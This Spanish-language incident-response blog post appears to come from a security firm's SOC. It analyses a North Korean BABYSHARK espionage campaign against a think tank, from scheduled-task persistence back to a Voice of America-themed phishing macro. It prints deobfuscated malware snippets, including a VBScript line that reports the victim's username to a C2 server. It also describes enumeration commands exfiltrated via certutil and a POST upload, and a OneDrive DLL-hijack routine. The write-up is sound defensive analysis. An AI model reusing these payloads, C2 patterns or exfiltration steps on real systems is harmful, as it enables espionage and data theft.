Actividad de APT dirigida: BABYSHARK va a la caza

tl;dr: Este blog sigue la investigación del Huntress SOC sobre esfuerzos de ciberespionaje dirigidos por Corea del Norte (RPDC) contra centros de estudios nucleares. Detalla la caza de amenazas de principio a fin, incluyendo cómo nuestros analistas del SOC encontraron la amenaza, cómo nuestro equipo fue desentrañando las capas para analizar la actividad maliciosa y cómo los actores de amenazas lograron entrar por phishing a la red del socio en primer lugar. Desplázate hasta el final para ver los indicadores de compromiso.

El 16 de febrero, Huntress descubrió actividad maliciosa y dirigida de una amenaza persistente avanzada (APT) dentro de una organización socio en prueba. Esta actividad coincide con técnicas conocidas atribuidas a actores de amenazas norcoreanos que atacan centros de estudios de seguridad nacional.

La familia de malware descubierta, apodada BABYSHARK por otros investigadores, es utilizada por un actor de amenazas patrocinado por el estado de la RPDC. Esta variante fue significativamente personalizada y adaptada al entorno específico de la víctima, lo que indica un ataque dirigido.

En este blog, revelaremos los detalles técnicos, nuestro proceso interno de investigación y las lecciones aprendidas para el resto de la comunidad de seguridad.

A la derecha del estallido y hacia atrás

Esta historia comienza con nuestro servicio comprobado: detección de persistencia, o cómo los hackers establecen y mantienen el acceso a su víctima.

Descubrir mecanismos de persistencia nos indica que hubo sin duda comportamiento malicioso de un actor de amenazas. Empezamos con esta escena del crimen, y luego trabajamos hacia atrás, revelando nuevas pistas y rastros para descubrir el panorama completo.

Una vez que nuestros analistas de seguridad 24/7 identificaron la actividad, comenzamos una investigación para ver qué tan profundo llegaba el asunto.

Nuestro primer hallazgo fue una tarea programada, disfrazada con el nombre GoogleUpdater que ejecutaba un script de VBScript qwert.vbs. Esta es una técnica comúnmente usada (MITRE ATT&CK T1035.005) para mezclarse y evitar la detección haciéndose pasar por algo legítimo—en este caso, Google. Usar un archivo legítimo (wscript.exe) para ejecutar el script malicioso ayuda aún más a evitar la detección basada en el escaneo del binario en ejecución.

qwert.vbs incluía código para comunicarse con un archivo de Google Drive.

Al ver este archivo de Google Drive, resulta que está completamente en blanco: un archivo vacío. Sin embargo, nota el nombre de archivo tan largo en la parte superior de la pantalla.

Al descargar la página con curl, podemos ver el código fuente HTML de la página de Google Drive—que no parece ser abiertamente maliciosa a primera vista. Pero al mirar más de cerca, descubrimos algunos "marcadores" extraños en el nombre de archivo tan largo que se mostraba.

Además de lo que parecía ser un galimatías, estaban las cadenas "manage" seguidas de paréntesis—casi como si fuera una llamada a una función, como si se hubieran pasado los parámetros d=7. Inmediatamente después venía un johnbegin-- y una cantidad considerable de caracteres sin sentido, y finalmente una cadena --johnend . El texto johnbegin y johnend parecían ser delimitadores que envolvían los datos aleatorios… ¡quizás eran datos codificados de alguna manera!

Con esa pista, nuestro equipo del SOC comenzó a buscar investigaciones de código abierto en línea para determinar si otros habían visto estas marcas "johnbegin" y "johnend".

El reciente malware BabyShark de Corea del Norte funciona con la técnica sin archivos al descargar scripts maliciosos cifrados desde Google Drive. Los scripts maliciosos distinguen entre inicio y fin con "johnbegin" y "johnend". pic.twitter.com/6INRjQeecs

— IssueMakersLab (@issuemakerslab) 21 de marzo de 2020

Gracias a información compartida por Palo Alto's Unit42, sitios de informes de malware y otros, pudimos descubrir que estos delimitadores eran indicadores clave de una variante de malware apodada BABYSHARK, conocida por ser utilizada por actores de amenazas patrocinados por el estado norcoreano.

Hicimos nuestra debida diligencia revisando el excelente análisis e investigación de quienes ya habían visto esto antes que nosotros, y quedó claro que los avistamientos anteriores databan del período 2018-2019. Para este incidente en particular, los primeros indicadores de compromiso que descubrimos fueron en marzo de 2021.

Sabiendo que estábamos ante una actividad maliciosa de tipo APT, implementamos nuestra funcionalidad Process Insights en este equipo y organización para obtener aún mayor visibilidad.

Despejando las capas

Con una mejor comprensión de lo que estábamos viendo, seguimos examinando la muestra qwert.vbs.

Al leer el código, pudimos ver que este VBScript programado descargaría el contenido de esta página de Google Drive en la primera ejecución y extraería los datos ofuscados entre los delimitadores johnbegin y johnend para guardarlos como un archivo normal.crp. Más tarde, en la segunda ejecución por parte de la tarea programada, el script desofusca los datos guardados y los ejecuta como VBScript.

Dado que podemos ver la rutina de desofuscación, podemos ejecutarla nosotros mismos y revelar qué código real estaría presente y se ejecutaría desde normal.crp.

Nota: esta captura de pantalla es un extracto del código presente, y el archivo completo se puede revisar con el enlace de gist de arriba.

Hay mucho por desglosar y analizar en este código VBScript. Empezaremos con la observación más interesante: el malware verifica el nombre de usuario actual.

El elenco de personajes

Queremos recalcar que la actividad APT observada está altamente dirigida contra esta organización y las personas afiliadas a ella.

La organización objetivo encaja en la categoría de "think tanks", como se insinuó al principio de esta publicación. Además, el equipo de esta persona objetivo tenía un nombre de equipo que hacía referencia al propietario y usuario, quien, por confidencialidad del socio, llamaremos Alex.

El equipo de Alex no era el único en esta organización que Huntress estaba protegiendo; podíamos ver otros dispositivos con un nombre de equipo basado en su usuario, pero durante el período de nuestro análisis, solo la máquina de Alex estaba en línea. Para contar toda la historia, sabíamos que necesitábamos acceso a la máquina de otro usuario importante. A este usuario lo llamaremos Bob.

Observa que el archivo normal.crp específicamente verifica la presencia del nombre de usuario "Administrator", o nuestro personaje recién introducido, "Bob". El malware no se ejecutaría si no estaba bajo el usuario Bob. Si el nombre de usuario actual no coincidía con ninguno de estos dos nombres, el malware se comunicaría con un servidor C2 por HTTP. Luego, el malware se detendría a sí mismo antes de ejecutarse en el sistema.

Esto nos pareció particularmente interesante. Este ataque fue diseñado para enfocarse únicamente en Bob. Si (y solo si) el nombre de usuario coincidía con Bob, entonces agregaba mecanismos de persistencia en el registro de Windows, preparaba nuevos archivos ofuscados y continuaba las comunicaciones con sus servidores C2.

Siguiendo el rastro

Al notar la actividad recién descubierta de normal.crp,  encontramos varios otros mecanismos de persistencia en el equipo. Descubrimos la tarea programada llamada Microsoft-Windows-UpdateDefender que usaba otro script VBS llamado sys0.vbs para abrir una clave de registro HKEY_CURRENT_USER\Software\RegisteredApplications\[random] y realizar un reemplazo de cadenas en los datos almacenados ahí, y luego ejecutar el contenido.

(Este nombre de archivo sys0.vbs difiere del nombre sugerido sys1.vbs en el script recuperado normal.crp , pero después de encontrar ambas versiones en distintos equipos, ambas contienen el mismo contenido).

Al examinar el contenido del archivo de tareas se mostró que los comandos se ejecutaban cada 29 minutos, mientras que sys1.vbs se ejecutaría cada 61 minutos.

Esto también se confirmó al observar los datos recopilados por Process Insights. Process Insights es la incorporación más reciente a The Huntress Managed Security Platform, que ofrece mayor visibilidad y telemetría sobre las acciones realizadas en un endpoint a nivel de proceso. Esto captura información como el momento de creación del proceso, su origen, la ruta y cualquier dato de proceso secundario posterior, en tiempo real. 😉

(Haz clic en la imagen anterior para ampliarla)

Los archivos filexx.tmp y schedxx.tmp se escribieron en el disco como medio para verificar si este código ya se había ejecutado antes. Estos archivos no estaban presentes en la máquina de Alex al momento de nuestro análisis.

El valor de registro en "HKEY_CURRENT_USER\Software\RegisteredApplications\AppXr1bysyqf6kpaq1aje5sbadka8dgx3g4g" contenía aún más código VBScript.

Este código se comunicó con un dominio C2 para obtener el contenido de otro archivo nuevo, desktop.tmp, si no estaba ya presente. Este código coincide exactamente con lo que descubrimos en normal.crp, pero obtiene datos de un dominio C2 diferente (worldinfocontact[.]club en lugar de hodbeast[.]com).

La distinción entre estos dominios parecía ser que worldinfocontact[.]club es su comando y control de beaconing. Se comunicaba con este C2 en un intervalo fijo, obtenía los comandos pendientes de ejecutar, esperaba y luego ejecutaba esas nuevas tareas. La respuesta de worldinfocontact[.]club /111/alex/expres[.]php?op=2 iba a variar inherentemente de vez en cuando, ya que los actores de amenazas ponían en cola nuevos comandos y scripts para ejecutar de forma remota.

El contenido de desktop.tmp cambiaba posteriormente, ya que correspondía al último conjunto de comandos enviado por el servidor C2.

El contenido del archivo desktop.tmp que descubrimos en la máquina de Alex eran comandos ofuscados para ejecutar el proceso OneDrive.exe. Es justo decir que este es el procedimiento de "respaldo" del C2 (cuando no hay otros comandos pendientes) para asegurar que, sin importar qué DLL hijacking hayan configurado, este siga ejecutándose, incluso si el proceso de OneDrive se detiene. Retomaremos la presunta técnica de DLL hijacking en nuestro análisis de otros artefactos próximamente.

Este es el archivo desktop.tmp desofuscado hallado en el endpoint de Alex:

On Error Resume Next:Set wShell=CreateObject("WScript.Shell"):retu=wShell.run("""%userprofile%\AppData\Local\Microsoft\OneDrive\onedrive.exe"" /background",0,false)

Ten en cuenta que esto se obtuvo del endpoint worldinfocontact[.]club. Sin embargo, hodbeast[.]com, por su parte, devolvió sintaxis ofuscada que finalmente ejecutaría algunos comandos de enumeración y escribiría la salida en un archivo ttmp1.log.

• cmd.exe /c PowerShell Get-Process outlook ^| Format-List Path 
• cmd.exe /c whoami
• cmd.exe /c net user
• tasklist

El archivo ttmp1.log se codifica luego en Base64 con certutil -f -encode para guardarse como ttmp.log y luego se sube a https[:]//hodbeast.com/silver/upload[.]php mediante una solicitud POST.

Esta técnica de exfiltración de datos coincide con casos anteriores observados y se conoce en la página de MITRE ATT&CK sobre el malware BABYSHARK.

Finalmente, otros archivos presentes en la máquina de Alex eran desktop.r5u y desktop.xml. Estos archivos tenían contenido idéntico. Los delimitadores de certificado "BEGIN" y "END" indican que este archivo también se desenredaría con certutil.

desktop.r5u y desktop.xml se decodifican en un RAT.

Al observar los primeros caracteres (]TVqQAA) podemos ver que probablemente se trata de un archivo PE codificado en base64.  De hecho, usando CyberChef, podemos decodificar el texto en base64 para obtener un archivo DLL.

Al cargar la DLL en pestudio se revela una ruta pdb que no deja nada a la imaginación: "H:\Hollow\googleDrive_rat_load_complete\rat_load\Release\rat_load.pdb"

Vale la pena señalar que este archivo no se puede encontrar en VirusTotal. Si bien aún no hemos terminado nuestro análisis de esta DLL, no es descabellado considerar que podría tratarse de una variante de KimJongRAT, que se sabe que suele usarse junto con BABYSHARK.

El archivo desktop.xml parece copiarse a sí mismo (o posiblemente verificar) el archivo desktop.r5u en el directorio %appdata\roaming\Microsoft%, ya que esto se puede encontrar codificado directamente en el binario.

También contiene referencias a las siguientes DLLs dentro de un archivo PE incrustado:

Las exportaciones de este binario son las siguientes:

Como si no hubiera suficientes piezas en movimiento en esta historia, descubrimos aún más actividad a través de wscript.exe con nuestra capacidad Process Insights. Junto con las tareas programadas en ejecución, hubo una ocurrencia de un script CF8C.vbs ejecutándose desde el directorio temporal de Alex.

wscript.exe C:\Users\Alex\AppData\Local\Temp\CF8C.vbs [MoreVBScript]

Este archivo CF8C.vbs ya no estaba presente en el endpoint, pero considerando que tenía prácticamente el contenido de otro script pasado como otro argumento, estaba claro que nuevamente desofuscaría o sustituiría símbolos y ejecutaría más VBScript.

Este VBScript desofuscado se contacta con un enlace de OneDrive, una táctica mencionada una vez más en otras investigaciones públicas, y luego desofusca y ejecuta el VBScript proporcionado.

Esto se decodifica como...

On Error Resume Next:Set fs = CreateObject("Scripting.FileSystemObject"):Set ws=CreateObject("WScript.Shell"):Set p0 = CreateObject("msxml2.xmlhttp"):scriptdir = ws.ExpandEnvironmentStrings("%appdata%"):userdir = ws.ExpandEnvironmentStrings("%userprofile%"):username = lcase(ws.ExpandEnvironmentStrings("%username%")):username=Escape(username):username=Replace(username,"%u",""):chk="no":username=lcase(username):p0.open "GET", "https://frebough.com/onedrive/winmm.php?op=" +username,false:p0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded":p0.Send

Es de suponer que esto le indica a otro servidor C2 que este paso se completó. No parece ejecutar más código a partir de la respuesta.

Artefactos adicionales

Junto con el archivo qwert.vbs que encontramos en el equipo de Alex, descubrimos varios otros archivos extraños.

r.vbs parecía detener el proceso OneDrive.exe , esperar tres segundos y eliminar un archivo version.dll presente en el mismo directorio que el ejecutable de OneDrive. Luego, cinco segundos después, vuelve a ejecutar el proceso OneDrive.exe una vez más.

On Error Resume Next
Set wShell=CreateObject("WScript.Shell")
retu=wShell.run("cmd.exe /c taskkill /im onedrive.exe /f & timeout 3& del ""%userprofile%\AppData\Local\Microsoft\OneDrive\version.dll""",0,true)
retu=wShell.run("cmd.exe /c timeout 5",0,true)
retu=wShell.run("""%userprofile%\AppData\Local\Microsoft\OneDrive\onedrive.exe"" /background",0,false)

Lamentablemente no pudimos encontrar el archivo version.dll en el equipo de Alex ni en ninguna otra máquina afectada. Considerando la ubicación del archivo, esto parece ser una técnica conocida de DLL hijacking para ejecutar código adicional.

Considerando que este script elimina el archivo version.dll, vuelve a ejecutar OneDrive con ejecución normal, y el ligero nombre de archivo “r.vbs”, quizás esto sea un mecanismo para “eliminar” otro implante. Más tarde descubrimos este mismo código en la máquina de Bob bajo el nombre de archivo 1.vbs.

Además, se encontró un archivo dev.ps1 en el equipo afectado. Este usaba código C# en línea dentro de PowerShell para aparentemente rastrear las pestañas de Google Chrome y Microsoft Edge, monitorear el uso de las Herramientas de desarrollo del navegador y registrar esto en un archivo tabid_chrome.log, tabid_edge.log y uno living.log que se actualizaba con la fecha y hora actuales. Estos archivos de registro no contenían más que un número de identificación para cada pestaña, pero pudimos ver en el archivo living.log que este código se estaba ejecutando activamente en la víctima.

(Más tarde descubrimos dev.vbs en el equipo de Bob, el cual parece poner en marcha el archivo dev.ps1, también presente con el mismo contenido bajo el nombre de archivo onenote.vbs.)

En el equipo de otro usuario (lo llamaremos Charlie para efectos narrativos) descubrimos el archivo onenote.vbs con contenido ligeramente distinto para invocar el script de PowerShell con una técnica diferente, además de un nuevo pow.ps1 que parecía eliminar las preferencias de seguridad de Google Chrome.

Armando el rompecabezas

Mientras seguíamos analizando los archivos y los hilos que descubrimos, sabíamos que poco a poco íbamos armando el panorama completo de esta cadena de ataque. Teniendo en cuenta cómo se suele ejecutar tradicionalmente el malware BABYSHARK, sabíamos que aún nos faltaba una pieza crítica de información: el acceso inicial desde donde todo comenzó. ¿Dónde estaba el phishing?

El primer paso para encontrar el acceso inicial fue determinar el marco temporal del compromiso. Para eso, buscamos otros archivos interesantes en los equipos. El archivo de script más antiguo que encontramos fue el script sys0.vbs que habíamos hallado antes. Las marcas de tiempo de este archivo ubicaron el inicio de nuestra línea de tiempo el 9 de marzo de 2021. Esto nos ayudó a acotar el marco temporal en el que el o los documentos maliciosos pudieron haberse descargado.

Se sabe que el APT group usa correos de spear phishing con enlaces maliciosos incrustados o documentos maliciosos adjuntos para obtener acceso, así que empezamos a buscarlos en el sistema. Siendo extremadamente cuidadosos con lo que podíamos revisar, examinamos solo los archivos sospechosos de Microsoft Office durante los primeros meses de 2021.

Lamentablemente, no pudimos encontrar una prueba contundente. Pero en ese momento, solo la computadora de Alex estaba en línea y comunicándose con Huntress.

Mientras nos comunicábamos con este socio en prueba, explicándole lo que descubrimos y la gravedad de este incidente, ellos notificaron a los involucrados. Al poco tiempo, los demás equipos comprometidos (los de Bob y Charlie, específicamente) se conectaron.

Con esos equipos ahora accesibles para Huntress, pudimos correlacionar qué archivos estaban presentes en todos estos equipos comprometidos. Si bien el producto antivirus que usaba la organización no detuvo la intrusión, al menos tenía registros de qué archivos se habían escaneado y cuándo.

Usando los registros de los tres hosts, descubrimos solo un puñado de archivos presentes en cada uno. El archivo más interesante que nos llamó la atención fue VOA_Korea.zip. Por los registros, pudimos notar que tenía un archivo .doc dentro, y esto parecía prometedor. También notamos que el escaneo del archivo ZIP y su contenido falló. Esto podría indicar protección con contraseña.

Si no habías captado el acrónimo, el VOA en este caso se refiere a la organización de medios Voice of America. Voice of America es una estación de radiodifusión internacional en Estados Unidos, enfocada en ofrecer información y noticias de países y continentes de todo el mundo.

Al intentar recuperar el archivo VOA_Korea.zip , lamentablemente ya no estaba presente en ninguna de las máquinas comprometidas.

Los registros del antivirus revelaron que el usuario final intentó descargar este archivo dos veces.

Encontrando el phishing

Todavía había un VOA_Korea (1).zip presente y pudimos recuperar el archivo. Al descomprimir el archivo, nos topamos con otro obstáculo: el archivo .doc estaba protegido con contraseña. Esto funciona tanto como una táctica de phishing sigilosa, como también para potencialmente ocultar macros maliciosas del software antivirus.

Fue en este punto que pasamos de cazar a hackear y empezamos a intentar abrir el archivo a la fuerza. Después de todo, ¡decimos que nuestra ofensiva es tu defensa!😉

Después de probar combinaciones de John The Ripper y Hashcat con distintas listas de palabras y archivos de reglas, finalmente, un aburrido y básico ataque de fuerza bruta encontró la contraseña: voa2021.

Con una descarga de adrenalina, procedimos a examinar el documento de Microsoft Word descifrado, optando por una de las herramientas más rápidas para el análisis de macros, olevba.

El archivo .doc se iluminó como un árbol de Navidad.

¡Encontramos el documento de macro malicioso usado para el acceso inicial! Después de una desofuscación rápida (la misma técnica vista anteriormente), pudimos ver el panorama completo de este ataque.

Esta macro cuenta la historia de casi todas las piezas del rompecabezas que habíamos descubierto previamente.

• Verifica la presencia de OneDrive
• Descarga un nuevo documento de Microsoft Word para mostrar al usuario y convencerlo del phishing: (http[:]//beastmodser.club/sil/0304/VOA_Korea[.]docx)
• Verifica la presencia de productos antivirus como BitDefender o Norton Security, y se detiene si están presentes
• Deshabilita las protecciones de macros de Microsoft Word en el registro
• Descarga un archivo version.tmp que luego se mueve y renombra como version.dll para el ataque de DLL hijacking de OneDrive (https[:]//beastmodser.club/sil/0304/d[.]php?na=version.gif)
• Inicia OneDriveStandaloneUpdater.exe para comenzar el ataque de DLL hijacking

Verificar la presencia de antivirus o software de seguridad es una técnica común en muestras de malware sofisticadas, pero esto suma al sigilo de la operación. Que la macro maliciosa se detenga y no se active si hay ciertos productos presentes la hace aún más dirigida.

Si bien esto explicaba el version.dll, lamentablemente, no pudimos recuperar el archivo original desde la URL de alojamiento maliciosa. Ni el falso archivo VOA_Korea.docx ni la DLL seguían presentes en el dominio recién descubierto beastmodser[.]club... pero al menos ya se sabe que es malicioso. 😉

Otros informes sobre el malware BABYSHARK han explicado cómo deshabilita las advertencias de macros y las protecciones de seguridad de Microsoft Office. Esto fue muy evidente en el código ejecutado por la macro... cambiando valores del registro para deshabilitar la defensa en prácticamente todas las versiones de Microsoft Word.

Un resumen rápido de los comandos ejecutados dentro de esa macro:

Señuelos y cebos de phishing

Con el descubrimiento del vector de ataque inicial y el documento de phishing, y tras analizar los archivos pertinentes para determinar el alcance de este ataque, sentimos que esta investigación se acercaba a su final. Pero incluso después de encontrar la macro maliciosa, seguíamos con curiosidad: ¿qué convenció a Alex de abrir este archivo?

El "señuelo" se veía seguro, escondido dentro de un archivo ZIP con un documento protegido por contraseña... ¿cuál era el pretexto?

Le preguntamos al socio en prueba si podía encontrar el correo original. Aquí mostramos un intercambio fascinante con un engaño astuto y un plan bien ejecutado.

El actor de amenazas contacta a Alex bajo la fachada de recopilar información para VOA, haciéndose pasar por un autor real de VOA (ese enlace de autor es legítimo, junto con el perfil de Twitter). No hay adjunto—piden información a la víctima.

Alex cae en la trampa, pero hay al menos una pista que sugiere que esto podría originarse de una fuente ilegítima:

Voice of America probablemente no usa Yahoo como su proveedor de correo electrónico. 🥴

Alex no tiene motivo de preocupación aquí—le envió a ellos un documento con respuestas a sus preguntas. Para el truco final, nuestro actor de amenazas sugiere que ha "hecho algunas ediciones" y está enviando la última copia para aprobación final. Para "estar seguro", el documento está protegido con contraseña. 😈

Ahí está la prueba contundente—un enlace de OneDrive con la descarga alojada de nuestro archivo VOA_Korea.zip, con el documento de Word protegido con contraseña que contiene la macro que inicia este compromiso.

Pensando en el VBScript malicioso, ¿acaso el objetivo no era Bob, y no Alex? El actor de amenazas pudo haber usado un método indirecto para llegar a la verdadera víctima… pero funcionó.

Alex reenvió el correo a sus compañeros de trabajo para su aprobación y puso en copia a las demás víctimas.

No hay más correspondencia en la cadena de correos. El actor de amenazas obtuvo lo que quería, y las víctimas no sabían que acababan de sufrir phishing—porque, después de todo, fue una treta muy astuta.

Después de terminar nuestra investigación y compartir todo lo aprendido con la organización afectada, continuamos nuestro análisis. Encontramos un artículo de noticias particularmente interesante que data de diciembre de 2021: "Hackers use fake media domains to trick North Korea researchers"... específicamente VOA, bajo la misma fachada.

En retrospectiva, este fue un malware muy astuto, lleno de técnicas de vivir de la tierra, usando software normalmente confiable como OneDrive y Google Drive, montado con un señuelo de phishing particularmente sigiloso… pero nos decepcionó lo que provocó el clic fatal.

El documento de Word malicioso en sí es el señuelo de phishing más genérico y plano que uno podría ver en un entrenamiento de ciberseguridad común y corriente. A pesar de lo mucho que los profesionales de seguridad insisten en estos aspectos básicos de higiene de seguridad, esto aún puede pasar desapercibido y dañar una organización.

"Haz clic aquí, por favor" es todo lo que un APT necesita.

Lecciones aprendidas

El adversario aquí probablemente es un actor de amenazas bien financiado y respaldado por un estado-nación, cuyas operaciones son conocidas por su destreza en phishing y por construir confianza o una conexión antes de lanzar el señuelo. El troyano de acceso remoto y las capacidades de exfiltración de datos han estado presentes y activos en el entorno objetivo durante casi un año.

Solemos compartir estadísticas e infografías sobre el tiempo de permanencia de los hackers, que suele ser de semanas o meses, pero este malware pasó desapercibido por mucho más tiempo. Aunque la organización víctima sí tenía antivirus, la amenaza aún logró pasar. De nuestro propio análisis, revisando los registros, es desalentador ver el momento exacto en que los esfuerzos de prevención fallaron.

Con eso, ofrecemos un recordatorio amable: la prevención fallará. Sin embargo, hay un valor inmenso en registrar, monitorear y cazar amenazas. Todos los hilos de esta historia no habrían podido desenredarse sin la retención de datos y la información registrada disponible para nuestro equipo de analistas e investigadores.

Ya sea que el malware infeccioso provenga de un actor sin experiencia que solo toma código ya hecho, o de un APT entrenado y sofisticado, la detección y el análisis humano deben estar presentes.

The Huntress Managed Security Platform ha estado añadiendo más funciones y funcionalidades para enriquecer los informes y la visibilidad de nuestros socios. Combinando el poder de cada uno de estos servicios (Persistent Footholds, Managed Antivirus, Process Insights, etc.), podemos obtener una mejor comprensión de los incidentes y compromisos—y para encontrar actividad de APT en el sistema de un socio en prueba, esperamos que esto ofrezca un buen ejemplo.

• • •

Agradecimiento especial a los analistas, investigadores, representantes de cuentas, ingenieros y todos los involucrados en la respuesta a este incidente y sus contribuciones a este blog: Cat Contillo, Matt Anderson, Caleb Stewart, Dave Kleinatland, John Hammond, Matthew Brennan, Tim Kasper, Clarissa Bove, Jamie Levy, Max Rogers, Greg Ake, Rob Noeth y Sharon Martin.

Indicadores de compromiso

John Hammond. Cazador de amenazas. Entusiasta de la educación. Investigador de seguridad sénior en Huntress.